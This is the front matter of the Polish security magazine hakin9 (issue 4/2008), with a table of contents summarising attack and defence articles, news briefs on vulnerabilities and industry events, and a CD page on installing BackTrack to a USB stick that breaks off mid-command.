background image
background image
background image
background image

SPIS TREŚCI

NARZĘDZIA

14 

Norton 360

Wielomodułowe narzędzie do ochrony komputera przed szerokim 
wachlarzem zagrożeń, takich jak: spyware, wirusy, rootkity, ataki typu 
phishing. Zawiera także moduły: dwukierunkowego firewalla, ochrony 
przed wyłudzaniem danych, uwierzytelniania witryn internetowych, 
skanowania poczty elektronicznej oraz dodatkową usługę chroniącą 
przed atakami zdalnymi.

15 

Eset NOD32 Antivirus 3.0 Home

Opis najnowszej wersji dobrze znanego na rynku systemu 
antywirusowego. Nod32 jest bardzo szybkim skanerem i co 
najważniejsze nie obciążającym systemu komputera. Chroni przed 
rożnego rodzaju wirusami, komponentami szpiegującymi (spyware), 
reklamowymi (adware) oraz phisingiem.

POCZĄTKI

16 

Niebezpieczny jPortal2

Artur pokazuje nam jak ominąć zabezpieczenia systemu jPortal2 oraz 
przykładowe luki w tym portalu.

ATAK

20  Hakowanie WIFI

Grzegorz porusza ciekawe i popularne zagadnienie jakim jest WIFI. Opisał 
jak wygląda atak na WEP oraz jak złamać WEP przy pomocy ataku PTW.

24  Użytkownik kontra wirusy

90% szkodliwego oprogramowania trafia do naszego komputera, 
ponieważ nie przestrzegamy zasad bezpiecznego jego użytkowania. 
W artykule są przedstawione  niektóre techniki ataków oraz miejsca, w 
których ukrywają się trojany.

30  Hakowanie Bluetooth

Do niedawna wielu z nas wydawało się, że ostatnim ogniwem mobilności 
w przypadku telefonii są telefony komórkowe. Jednak w miarę odkrywania 
nowych możliwości zastosowań tego typu sprzętu nie tylko do typowej 
komunikacji głosowej, rozwinęły się technologie, w których komórka jest 
tylko elementem łączącym ogniwa łańcucha komunikacyjnego, a sieć 
GSM – jednym z dostępnych sposobów na przekazywanie informacji.

36  Przejmowanie wiadomości Gadu-Gadu

Komunikatory internetowe są jednym z coraz częściej 
wykorzystywanych sposobów komunikacji międzyludzkiej. Za ich 
pomocą prowadzimy luźne pogawędki ze znajomymi, załatwiamy 
sprawy zawodowe, a nawet wyznajemy uczucia drugiej osobie. 
Czy jednak możemy być pewni tego, że nikt nie podsłuchuje naszej 
rozmowy? O tym dowiemy się z tego artykułu.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Łukasz Witczak, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi 

Nakład wersji polskiej 6 000 egz.

Adres korespondencyjny: 

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie 

i na towarzyszących mu nośnikach informacje i programy 

były poprawne, jednakże nie bierze odpowiedzialności za 

efekty wykorzystania ich; nie gwarantuje także poprawnego 

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością 

odpowiednich firm i zostały użyte wyłącznie w celach 

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano 

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu 

automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma 

w cenie innej niż wydrukowana na okładce – bez zgody 

wydawcy – jest działaniem na jego szkodę i skutkuje 

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: 

Hiszpanii, Argentynie, Portugalii, Francji, Belgii, 

Luksemburgu, Kanadzie, Maroko, Niemczech, 

Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy również sprzedaż kioskową 

w innych krajach europejskich.

Magazyn hakin9 wydawany jest 

w 7 wersjach językowych: 

PL 

 ES 

 CZ 

 EN 

 

IT 

 FR 

 DE 

UWAGA!

Techniki prezentowane w artykułach mogą być 

używane jedynie we własnych sieciach lokalnych. 

Redakcja nie ponosi odpowiedzialności za 

niewłaściwe użycie prezentowanych technik 

ani spowodowaną tym utratę danych.

background image

SPIS TREŚCI

STAŁE 
RUBRYKI

6 W skrócie

Przedstawiamy garść 

najciekawszych wiadomości ze 

świata bezpieczeństwa systemów 

informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość i sposób 

działania najnowszej wersji naszej 

sztandarowej dystrybucji hakin9.live.

76 Księgozbiór

Recenzujemy książki Hacking 

zdemaskowany – Bezpieczeństwo 

sieci – sekrety i rozwiązania oraz 

Microsoft /windows /sharePoint 

Services 3.0 od środka

78 Felieton

Dla kogo biuletyn bezpieczeństwa. 

Ostatecznym etapem każdego procesu 

wykrywania luki w oprogramowaniu 

jest wykorzystywanie uzyskanych 

informacji w celu opublikowania biuletynu 

bezpieczeństwa.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą 

się w następnym wydaniu magazynu 

hakin9

OBRONA

42  Programy antywirusowe od środka

Dziś programy antywirusowe nie są tym, czym były pierwotnie. 
Oprócz wirusów komputerowych wykrywają całą gamę zagrożeń, 
wliczając w to konie trojańskie, oprogramowanie szpiegujące, exploity, 
phishing, a nawet spam. Choć zagrożenia bywają całkiem różne, do  
ich badania wykorzystywane są podobne techniki. Z artykułu dowiesz 
się jakie są techniki i algorytmy wykrywania zagrożeń stosowane w 
programach antywirusowych.

48  Odzyskiwanie danych

Utrata danych wiąże się często z dużymi stratami, nierzadko także 
z finansowymi. Nie ma tu większego znaczenia, czy będzie to 
przemyślany atak hakera, działanie wirusa lub trojana, przypadkowe 
skasowanie przez użytkownika czy awaria systemu operacyjnego. 
Utrata ważnego dokumentu  to zawsze duży kłopot – zwłaszcza, jeśli 
nie posiada się kopii zapasowych utraconych danych. Z artykułu 
dowiesz się jak odzyskać cenne dane.

56  Bezpieczne a niebezpieczne aplikacje

Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces 
ich tworzenia, to również modelowanie zagrożeń, projektowanie 
rozwiązania oraz architektura. Wszystkie te czynniki składają się na 
stworzenie bezpiecznej lub niebezpiecznej aplikacji. Przy tworzeniu 
bezpiecznych programów należy zwrócić szczególną uwagę na 
kilka istotnych czynników wpływających na ogólne bezpieczeństwo 
rozwiązania. Cały tekst bazuje na przykładzie systemu Windows i 
aplikacji pisanych na platformie .NET.

60  Robactwo w kodzie

Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest nieskazitelnie 
czysty? Czy możesz użyć go na własnej stronie bez obawy, że ktoś 
wykryje lukę i zaatakuje system? Bałeś się , że sprzedasz klientowi 
skrypt, a jakaś osoba włamie się na stronę? Przeczytaj ten artykuł, 
aby ustrzec się przed najbardziej popularnymi błędami w pisaniu 
aplikacji internetowych w PHP i MySQL. Autor opisał podstawowe luki 
w zabezpieczeniach aplikacji webowych oraz metody obrony przed 
atakami hakerów.

BEZPIECZNA FIRMA

66  Ochrona informacji biznesowych

Spośród wszystkich tajemnic prawnie chronionych najbardziej 
powszechny charakter w życiu gospodarczym ma tajemnica 
przedsiębiorstwa, gdyż dotyczy to wszystkich przedsiębiorców. 
Instytucja tajemnicy przedsiębiorstwa służy ochronie zasobów 
niematerialnych firmy. Przepisy prawa nie określają, jak należy 
chronić aktywa informacyjne, pozostawiając w tym zakresie pełną 
swobodę przedsiębiorcom co do metod i sposobów ich ochrony. Z 
artykułu dowiesz się jak zapewnić ochronę informacjom biznesowym 
oraz jak zastosować najlepsze praktyki i standardy ochrony.

background image

6

 

W SKRÓCIE

HAKIN9 4/2008

7

 

MATEUSZ STĘPIEŃ

HAKIN9 

4/2008

ZŁOTE BLACHY DLA POLICJANTÓW 
ZA WALKĘ Z PIRACTWEM

Policjanci z Komendy Wojewódzkiej Policji 
we Wrocławiu, Komendy Wojewódzkiej 
Policji w Katowicach oraz Komendy 
Rejonowej Policji Warszawa V zostali 
nagrodzeni Złotymi Blachami 2007 za 
zaangażowanie w walce z przestępstwami 
dotyczącymi naruszania praw autorskich.

Policjanci z Wrocławia nagrodzeni 

zostali między innymi za: działania mające 
na celu ograniczenie bezprawnego 
udostępniania plików muzycznych w 
sieciach p2p w akademickim systemie 
informatycznym na terenie Politechniki 
Wrocławskiej. Wykazywali także 
nowatorskie rozwiązania w procesie 
uzyskiwania i wykorzystywania dowodów 
w postępowaniu karnym naruszenia 
praw producentów fonograficznych w 
zamkniętych sieciach osiedlowych
.

Policjanci z Wydziału do Walki z 

Przestępczością Gospodarczą Komendy 
Wojewódzkiej Policji w Katowicach 
w 2007 r. dokonali wielu istotnych i 
spektakularnych akcji wobec podmiotów 
i osób rozpowszechniających pirackie 
oprogramowanie i korzystających z niego 
w celach komercyjnych
.

Natomiast funkcjonariusze z 

Komendy Rejonowej Policji Warszawa 
przeprowadzili działania przeciwko 
zorganizowanej grupie przestępczej 
zajmującej się nielegalnym powielaniem 
płyt DVD z filmami i grami PSX oraz ich 
dystrybucją na terenie giełdy mieszczącej 
się przy ul. Wolumen w Warszawie. W 
wyniku realizacji sprawy dokonano 
przeszukań i procesowo zabezpieczono 
materiały dowodowe w pomieszczeniach 
zlokalizowanych na terenie kilku dzielnic 
Warszawy
.

Piractwo to przede wszystkim olbrzymia 

strata dla producentów i artystów; poza 
tym – także dla Skarbu Państwa, bo każda 

legalnie sprzedana płyta to podatek, to 
pieniądze odprowadzone do Skarbu 
Państwa
 – powiedział dziennikarzom 
nadkom. Zbigniew Urbański z Komendy 
Głównej Policji.

Nagrody, jak co roku, przyznawane są 

przez Koalicję Antypiracką, którą tworzą 
przedstawiciele: przemysłu muzycznego 
– Związek Producentów Audio Video, 
producentów oprogramowania 
komputerowego – Business Software 
Alliance, przemysłu filmowego – Fundacja 
Ochrony Twórczości Audiowizualnej.

BILL GATES WYSTĄPIŁ W LAS 
VEGAS PODCZAS OTWARCIA 
DOROCZNEJ KONFERENCJI 
CONSUMER ELECTRONICS SHOW

Bill Gates wystąpił w Las Vegas 
podczas otwarcia dorocznej konferencji 
Consumer Electronics Show (CES) 
200
8. W swoim wystąpieniu Bill Gates 
podkreślił, że ostatnie lata można zaliczyć 
do pierwszej, trwającej od 2001 roku, 
prawdziwej Cyfrowej Dekady Odkąd 
po raz pierwszy mówiłem o Cyfrowej 
Dekadzie w 2001 roku, tempo wzrostu 
popularności technologii cyfrowych, 
dzięki którym zmienia się sposób, w 
jaki pracujemy, uczymy się i bawimy, 
było ogromne. Mimo to, nadal jesteśmy 
na początku drogi prowadzącej do 
zmian, jakie wniesie w nasze życie 
technologia. Kolejna cyfrowa dekada 
przyniesie nam jeszcze większe 
korzyści wynikające z użytkowania 
nowych technologii
 – powiedział Bill 
Gates. W swoim wystąpieniu Bill Gates 
poinformował również m. in. o umowach 
zawartych pomiędzy Microsoft a 
Disney
-ABC Television GroupNBC 
Universal
 oraz Metro-Goldwyn-Mayer 
Studios Inc
. (MGM). Efektem umowy 
pomiędzy Microsoft i NBC Universal 
będzie możliwość dostępu do licznych 
materiałów filmowych i zdjęciowych 
związanych z tegorocznymi Igrzyskami 
Olimpijskimi, które odbędą się w Pekinie. 
Gates poinformował również, że stacje 
telewizyjne ABC Television oraz Disney 
Chanel
 nawiążą współpracę z serwisem 
Xbox Live i będą dostępne do pobrania 
bezpośrednio na konsolę Xbox 360. 

Było to jego jedenaste wystąpienie 

na Consumer Electronics Show w 

ciągu piętnastu lat, ale tym razem 
bardzo szczególne – gdyż Bill Gates 
po raz ostatni przemawiał jako etatowy 
pracownik Microsoftu. Od sierpnia 
tego roku założyciel korporacji zmienia 
priorytety, planuje on zrezygnować z 
bieżącego, codziennego funkcjonowania 
jako Chief Software Architect na rzecz 
założonej w 2000 roku fundacji Bill & 
Melinda Gates Foundation
, która operuje 
majątkiem niemal 30 mld USD, realizując 
cele z zakresu poprawy globalnych 
problemów zdrowia i edukacji.

Bill Gates urodził się 28 października 

1955 roku w Seattle, w stanie 
Washington. Jego ojciec William H. Gates 
był prawnikiem, a matka nauczycielką. Bill 
skończył elitarne liceum Lakeside School
w 1973 roku rozpoczął studia na Harvard 
University
, gdzie poznał Steve'a Balmera 
– przyszłego partnera biznesowego. 
Studiów jednak nie ukończył, ponieważ 
w szybkim tempie zaczęła rozwijać się 
firma realizująca wizje początkującego 
informatyka. Tym samym, w 1975 
roku powstał Microsoft Corporation 
– przyjacielska spółka Billa Gates'a i 
Paula Allena. Gates uczynił Microsoft 
jedną z najszybciej rozwijających się, 
ale też i najbardziej krytykowanych za 
metody działania firm informatycznych. 
Jej najbardziej znane produkty to system 
operacyjny QDOS (potem MS-DOS), 
rodzina systemów Microsoft Windows 
oraz pakiet biurowy Microsoft Office.

NASZA-KLASA.PL MA PROBLEMY Z 
PRYWATNOŚCIĄ

Generalny Inspektor Ochrony Danych 
Osobowych Michał Serzycki przeprowadzi 
kontrolę portalu Nasza-klasa.pl, aby 
zbadać, czy zamieszczane tam dane 
osobowe są bezpieczne. Sprawa jest 
bardzo poważna, gdyż szczegółowe 

background image

6

 

W SKRÓCIE

HAKIN9 4/2008

7

 

MATEUSZ STĘPIEŃ

HAKIN9 

4/2008

informacje o sobie zamieściło na 
portalu już prawie 6 milionów Polaków 
– informacje, które są dostępne 
dla każdego, o ile ten, który je 
podaje, nie zablokuje konkretnego 
użytkownika. Kontrola nie ma charakteru 
restrykcyjnego. Nie chcemy zamykać 
portalu, ale służyć pomocą. Być 
może będziemy mogli podpowiedzieć 
jakieś rozwiązania
 – powiedział na 
konferencji prasowej Michał Serzycki. 
Dodał, że administratorzy portalu 
zostali powiadomieni o kontroli, która 
ma się odbyć w siedzibie spółki we 
Wrocławiu. Jestem pewien, że nie 
będzie z tym problemów. Ze strony 
ludzi, którzy tak wiele miejsca poświęcili 
zagadnieniu ochrony danych, możemy 
się spodziewać dobrej współpracy
 
– powiedział Serzycki. 

Twórca Naszej-Klasy.pl, Maciej 

Popowicz, zapewnia, że portal stara się, 
by dane użytkowników były bezpieczne, 
choć do tej pory bezpieczeństwo nie 
było priorytetem twórców serwisu. 
Popowicz zapewnia, że w ciągu kilku 
tygodni zostaną wprowadzone nowe 

funkcjonalności, które podniosą poziom 
bezpieczeństwa. Jedną z nich będzie 
możliwość ustawienia swojego profilu 
jako dostępny tylko dla znajomych 
– podobne rozwiązania stosuje m. 
in. amerykański serwis społeczności 
internetowej – MySpace, w którym 
zarejestrowanych jest ponad 150 
milionów osób z całego świata.

Portal Nasza-klasa.pl wystartował 

w listopadzie 2006 r. We wrześniu 
zeszłego roku 20% udziałów w portalu 
kupił niemiecki fundusz inwestycyjny 
European Founders. Obecnie wartość 
całego serwisu szacowana jest na 20 
mln zł. Dziennie internauci generują 
ruch rzędu 150 mln odsłon (Megapanel 
PBI
/Gemius). Twórcą Naszej-Klasy.pl 
jest student informatyki Maciej Popowicz 
z Wrocławia, który dokonał jednej z 
największych transakcji w polskim 
Internecie i stał się najbogatszym 
studentem w naszym kraju.

OPTYMALIZACJA ROUTINGU WAN

Firma Passus, oferująca programowe 
i sprzętowe rozwiązania do 
monitorowania, testowania, analizy oraz 
modelowania sieci informatycznych i 
telekomunikacyjnych, wprowadziła do 
oferty oprogramowanie PfR Manager 
firmy Fluke Networks
. Pozwala ono na 
optymalizację tras w sieciach WAN z 
wykorzystaniem nowej, opracowanej 
przez Cisco, technologii Performance 
Routing
 (PfR). PfR Manager jest 
oprogramowaniem uruchamianym 
na działającym pod kontrolą systemu 
Windows serwerze użytkownika. 
Rozwiązanie działa na podstawie reguł 
aplikacji i ruchu sieciowego, jak również 
systemu priorytetów. Umożliwia ponadto 
optymalizację automatycznego routingu 
za pomocą ulepszonej konfiguracji i 
administracji. Korzyści z zastosowania 
rozwiązania PfR Manager to:

•   redukcja kosztów działania sieci, 

dzięki konfiguracji, która zapewnia 
pełne wykorzystanie wszystkich łączy 
WAN, w tym nieużywanych do tej 
pory łączy zapasowych,

•   lepsza wydajność sieci oraz krótsze 

czasy reakcji, dzięki optymalnej 
konfiguracji, monitorowaniu 

dynamicznego routingu oraz ciągłym 
pomiarom wydajności,

•   uproszczone raporty, ułatwiające 

aktywację pomiarów bazowych oraz 
uproszczony system weryfikacji w 
oparciu o umowy SLA 

Rozwiązania Enterprise Performance 
Management
 firmy Fluke Networks 
przeznaczone są do aktywnego 
zarządzania zasobami sieciowymi. To 
nowość w dynamicznie rozwijającym 
się obszarze Enterprise Performance 
Management
 (dostarczanie aplikacji, 
usług VoIP i zarządzanie wydajnością 
w zbieżnym środowisku sieci 
przedsiębiorstwa).

Firma Passus sp. z o. o. powstała 

w 1992 roku i działa w branży 
informatyczno-telekomunikacyjnej. 
W ofercie firmy można znaleźć całą 
gamę produktów przeznaczonych 
dla różnych typów sieci. Passus jest 
przedstawicielem m. in. firm Fluke 
Networks
AirMagnet i OPNET.

POWAŻNE DZIURY WE FLASHU

Specjaliści z Google, wraz ze 
znaną firmą specjalizującą się w 

background image

8

 

W SKRÓCIE

HAKIN9 4/2008

9

 

MATEUSZ STĘPIEŃ

HAKIN9 

4/2008

zabezpieczeniach, poinformowali 
o znalezieniu niebezpiecznej luki w 
Adobe Flash, popularnej technologii 
umożliwiającej m. in. tworzenie animacji 
z wykorzystaniem grafiki wektorowej na 
zasadzie klatek kluczowych. Odkryta luka 
pozwala na przeprowadzenie ataku typu 
XSSMnóstwo ludzi jest narażonych, a 
póki co nie ma innego zabezpieczenia 
niż usunięcie obiektów Flash i czekanie 
na reakcję ze strony producenta
 
– powiedział Alex Stamos, jeden z 
członków zespołu, który odkrył błędy w  
technologii Flash.

KONIEC NETSCAPE NAVIGATORA

AOL, właściciel Netscape Navigator
jednej z pierwszych przeglądarek 
internetowych w historii globalnej sieci, 
ogłosił zakończenie dalszego rozwoju 

i wsparcia technicznego tej aplikacji 
z dniem 1 lutego 2008. Powodem 
podjęcia takiej decyzji jest malejące 
zainteresowanie produktem. Pierwsza 
wersja programu pojawiła się w roku 
1994, ostatnia, 9. wersja przeglądarki 
ukazała się w 2007 r.

NOWY FIREFOX DZIURAWY

Izraelski specjalista ds. Bezpieczeństwa, 
Aviv Raff, wykrył poważną lukę w 
zabezpieczeniach Firefoksa 2.0.0.11
która pozwala na przeprowadzenie 
udanego ataku typu phishing 
– wyświetlając standardowe okienko 
służące do autoryzacji. Wpisywane dane 
uwierzytelniające mogą być przesłane 
pod inny adres – dzięki temu atakujący 
może oszukać użytkownika, przekonując 
go, że okienko wyświetlane jest przez 
zaufaną witrynę. Przedstawiciele 

Fundacji na razie ograniczyli się 
jedynie do poinformowania, że 
sprawdzają doniesienia o błędzie. Jako 
tymczasowe obejście problemu Aviv Raff 
proponuje unikać witryn, które stosują 
uwierzytelnianie podstawowe, opierając 
proces pozyskiwania loginu i hasła 
o okno będące elementem interfejsu 
przeglądarki.

BŁĄD W EXCELU

Gigant z Redmond – firma Microsoft 
– poinformowała o poważnym błędzie 
występującym w Excelu
Z informacji przekazanych przez 
Microsoft wynika, że błąd od kilku 
dni wykorzystywany jest już przez 
internetowych przestępców, którzy 
rozsyłają e-maile z załączonymi 
odpowiednio spreparowanymi plikami 
.xls. Otwarcie sfałszowanego pliku 
powoduje uruchomienie i zainstalowanie 
w systemie złośliwego kodu 
umożliwiając napastnikowi przejęcie 
pełnej kontroli nad zaatakowaną 
maszyną. Luka występuje w MS Office 
Excel 2003 SP2
Excel Viewer 2003
Excel 2002 i Excel 2004 for Mac, jednak 
Excel 2007Excel 2003 SP3 oraz Excel 
2008 for Mac
 są bezpieczne.

POPRAWKI DLA FREEBSD

Developerzy systemu FreeBSD 
udostępnili poprawki dla licznych 
luk w systemie, które umożliwiają 
przeprowadzenie ataku typu DoS
zdalne wykonanie kodu i dają dostęp do 
przechowywanych w systemie informacji. 
Jeden z błędów występuje w funkcji 

inet _ network()

, odpowiedzialnej 

za zamianę nazw DNS na adresy IP 
i odwrotnie. Przekazanie do funkcji 
odpowiednich parametrów może 
wywołać błąd przepełnienia bufora i, 
w efekcie, wykonanie dowolnego kodu. 
Kolejna dziura pozwalała napastnikowi 
odczytywać informacje z terminala 
należącego do innego użytkownika. Błąd 
występuje w funkcji openpty(), która nie 
ustawia bezpiecznych praw dostępu 
dla pliku specjalnego skojarzonego z 
urządzeniem pseudoterminala. W efekcie 
użytkownicy byli w stanie wzajemnie 
odczytywać zawartość swoich terminali.

SUN PRZEJMUJE TWÓRCĘ BAZ 
DANYCH MYSQL

Jeden z najważniejszych 
producentów sprzętu komputerowego, 
oprogramowania komputerowego i 
rozwiązań sieciowych – firma Sun 
Microsystems
 – ogłosiła osiągnięcie 
porozumienia w sprawie nabycia za 1 
mld USD szwedzkiej firmy MySQL AB
której bazy danych, oparte na otwartym 
kodzie źródłowym, stosowane są 
powszechnie na całym świecie przez 
aplikacje WWW. 
Firma Sun Microsystems ma nadzieję, 
że przejęcie MySQL umocni w 
znaczący sposób jej pozycję na 
rynku rozwiązań IT stosowanych w 
przedsiębiorstwach. Sun zapłaci 800 
mln dolarów gotówką, dalsze 200 mln 
USD zostanie przekazane w opcjach na 
akcje. Serwer MySQL znany i ceniony 
jest przede wszystkim ze względu na 
swoją niebywałą wydajność i szybkość 
działania. Świetnie nadaje się do obsługi 
projektów internetowych, ale nie tylko 
– z powodzeniem używany jest również 
w wielkich projektach informatycznych 
organizacji takich, jak chociażby NASA 
Systemem Zarządzania Relacyjnymi 
Bazami Danych – MySQL dostępny 
jest na wszystkie popularne platformy 
systemowe. 

background image

8

 

W SKRÓCIE

HAKIN9 4/2008

9

 

MATEUSZ STĘPIEŃ

HAKIN9 

4/2008

ALTKOM DYKTUJE NOWE TRENDY 
NA RYNKU PRACY IT

Program stażowy Enter 2008 dla młodej 
kadry informatycznej w Altkom Software 
& Consulting Relacje pracodawca - 
pracownik w firmach IT w Polsce ulegają 
ostatnio dość silnym przeobrażeniom. 
Z jednej strony jest to efekt deficytu 
wysoko wyspecjalizowanej kadry, z 
drugiej – godny naśladowania trend, 
będący przejawem wysokiej kultury 
pracodawcy, nowoczesności firmy i jej 
proeuropejskiej orientacji. 

Jedną z takich firm, promujących 

nowe jakości współpracy, jest Altkom S.A., 
pomysłodawca i organizator jedynego na 
polskim rynku programu stażowego dla 
młodej kadry IT o nazwie Enter

Enter to rewolucyjny program 

stażowy, którego celem jest 
pozyskanie z rynku pracy grupy 24 
młodych informatyków, umożliwienie 
im odbycia intensywnego kursu w 
obrębie wybranej ścieżki zawodowej 
(do wyboru: programista Java, 
programista .Net, analityk) i 18-
miesięcznego stażu w Altkom Software 
& Consulting. Szkolenie teoretyczne i 
praktyczne trwa trzy miesiące. W jego 
trakcie stażyści otrzymują wysokie 
stypendium oraz atrakcyjny pakiet 
socjalny. Po zakończeniu szkoleń z 
udziałem najlepszych wykładowców 
Altkom Akademii i zdaniu egzaminów 
certyfikacyjnych (Microsoft, Sun, OMG) 
uczestnicy programu są kwalifikowani 
do płatnego stażu w Altkom Software 
& Consulting. W tym czasie mają 
możliwość uczestniczenia we wszystkich 
pracach pionu, wyjazdów do klientów 
zagranicznych firmy, dalszego 
kształcenia się. Ich wynagrodzenie jest 
też znacznie wyższe, niż stypendium 
oferowane na pierwszym etapie. Po 
zakończeniu stażu uczestnicy programu 
stają się równoprawnymi pracownikami 
firmy. Mogą nadal rozwijać się w obrębie 
struktury firmy, starać się o awanse i 
korzystać z systemów motywacyjnych. 

Altkom inwestuje w potencjał 

ludzki – mówi Adam Lejman, dyrektor 
Altkom Software & Consulting. Ma to 
związek ze znacznym poszerzeniem 
portfela klientów i wynikającym z tego 
zwiększonym zapotrzebowaniem na 
różne usług
i. Altkom potrzebuje wciąż 

nowych pracowników, dlatego prowadzi 
stały nabór. Nie boi się też zainwestować 
w proces ich kształcenia Prezes Altkom 
Akademii S.A. Tadeusz Alster liczy na 
to, że wybrani przez niego kandydaci, 
zdecydują się związać z firmą na dłużej 
i w niej właśnie będą urzeczywistniać 
swoje ambicje zawodowe. Ci, którzy po 
zakończeniu stażu, nie zechcą pracować 
w Altkom Software & Consulting, zasilą 
kadry najwyższej klasy specjalistów IT 
na polskim rynku pracy. Sprawdzonym 
przepisem na sukces naszej firmy 
jest wdrażanie nowych idei w obrębie 
własnego centrum szkoleniowego. 
Trzymamy się tego od lat. Dzięki 
temu możemy realizować najbardziej 
skomplikowane projekty na wielu 
platformach technologicznych, kreować 
nowe obszary biznesowe i wpływać na 
kształt rynku pracy w sektorze IT w Polsce. 
Przykład idzie z góry, a tym razem znów 
idzie od nas
 – mówi prezes Alster. 

O tym, jak bardzo potrzebny jest 

to program, świadczą wypowiedzi 
uczestników jego zeszłorocznej, 
pierwszej w historii programu, edycji. 
Dwudziestopięcioletnia uczestniczka 
programu Enter 2007, absolwentka 
Politechniki Wrocławskiej, zaraz po 
studiach wzięła udział w naborze do 
programu i dołączyła do elitarnej grupy 24 
stażystów. Dziś pracuje w Altkom Software 
& Consulting w Warszawie na stanowisku 
analityka i tak mówi o programie, który 
zapoczątkował jej karierę: Enter to 
program rewolucyjny jak na polskie realia. 
Mało jest takich firm, które decydują 
się zainwestować w swoich przyszłych 
pracowników, nie mając stuprocentowej 
pewności, czy inwestycja okaże się 
strzałem w dziesiątkę. Proponowane 
w ramach tego programu warunki 
rozwoju zawodowego i perspektywy 
na przyszłość są bardzo obiecujące. 
Możliwość dalszego dokształcenia się 
zwiększa dodatkowo szanse kandydata 
na rynku pracy. Co więcej, możemy 
śmiało powiedzieć, że to praca sama 
nas znalazła. Oszczędzono nam być 
może wielu bolesnych doświadczeń. 
Mam nadzieję, że młodzi ludzie będą 
chętnie korzystali z możliwości kształcenia 
w zawodzie programisty lub analityka 
- szczególnie, jeśli do pracy w tych 
zawodach będą aplikować z zupełnie 

innej branży. Program Enter to szansa 
na rozwój pod czujnym okiem wysokiej 
klasy specjalistów. A takiej okazji nie wolno 
przegapić
.

W tym roku organizator zadbał o to, by 

oferta edukacyjna w ramach programu, 
była szczególnie atrakcyjna
 - informuje 
Jacek Chmiel, dyrektor w Altkom Software 
& Consulting, odpowiedzialny za program 
szkoleń. Oferujemy pakiet profesjonalnych 
szkoleń Altkom Edukacji z zakresu Java 
+ Oracle, Microsoft .NET + SQL Server, 
a także zaawansowane szkolenia 
dla analityków (Podstawy technologii 
obiektowej, analiza i projektowanie 
z wykorzystaniem UML 2.0, zasady 
modelowania procesów biznesowych przy 
wykorzystaniu notacji BPMN). Szkolenia 
te będą uzupełnione praktycznymi 
warsztatami pod okiem doświadczonych 
ekspertów z Altkom Software & Consulting, 
pracujących na co dzień w ambitnych 
projektach o dużej skali i złożoności
.

Po zakończeniu programu 

stażowego Enter w Altkom 
Software & Consulting stażysta 
jest przygotowany do wykonywania 
najbardziej skomplikowanych zadań i 
współpracy z firmami, korzystającymi 
z zaawansowanych rozwiązań 
informatycznych. Na programie Enter 
obie strony wiele zyskują: stażyści 
otrzymują rzadką szansę na start do 
kariery w informatycznej ekstraklasie, 
Altkom – świetnie wyszkolonych 
specjalistów, ukształtowanych według 
własnych norm i koncepcji. 
Altkom Software & Consulting

Partner Programu: 
NZS Drogowskazy Kariery

Patroni Medialni: 
hakin9, Software Developer’s 
Journal, Linux Magazine, 
www.businessman.pl, www.KarieraIT.pl, 
www.PracaDlaStudenta.pl

background image

10

 

NA CD

HAKIN9 4/2008

11

 

HAKIN9.LIVE

HAKIN9 

4/2008

Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3 

on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały 

dodatkowe do artykułów. 

ZAWARTOŚĆ CD

Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po 

uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez 

podawania hasła.

JAK ZACZĄĆ

PROGRAMY

•   Advanced EFS Data Recovery,
•   Advanced Registry Tracer,
•   Proactive Password Auditor,
•   ArcaVir 2008 System Protection z 

modułem Administratora,

•   Panda antywirus 2008.

FILMY INSTRUKTAŻOWE

Szósty odcinek: Atak SQL Injection – 
Błędy w użyciu funkcji 

include()

. Kolejny 

odcinek z serii filmów instruktażowych, 
przedstawiający najpopularniejsze 
metody ataków na strony internetowe.

BACKTRACK2.0 NA SWOIM PENDRIVIE

Utwórz partycję na pendrivie:

# fdisk /dev/sda

Uwaga: Jeśli posiadasz dyski SCSI lub 
SATA, sprawdź gdzie są umieszczone

/dev/sda

może być Twoim dyskiem systemowym! 
Wykasuj wszystkie istniejące partycje 
(wciśnij d oraz Enter, później wprowadź 
ilość partycji – od 1 do 4). 

Aby sprawdzić obecny stan partycji, 

wprowadź p. Później zacznij tworzyć 
nową partycję FAT32 – o wielkości około 
800 MB. 

W tym celu wciśnij n, zatwierdzając 

klawiszem Enter. Zacznij od początku 
i ustal wielkość tworzonej partycji lub 
wciśnij jeszcze raz Enter, aby użyć całego 
urządzenia. 

Rodzaj partycji musi zostać zmieniony 

na FAT32 – wprowadź t i odpowiedz b na 
pojawiające się pytanie.

Musimy teraz sprawić, żeby nowa 

partycja była bootowalna. Wpisz a, a 
następnie wprowadź numer partycji 
– 1. Teraz wpisz w w celu zapamiętania 
zmian.

PLIKI

Na początku utwórz na nowej partycji 
system plików:

# mkfs.vfat /dev/sda1

Teraz zdefiniuj punkt montowania 
tworzonego systemu plików: 

# mount /dev/

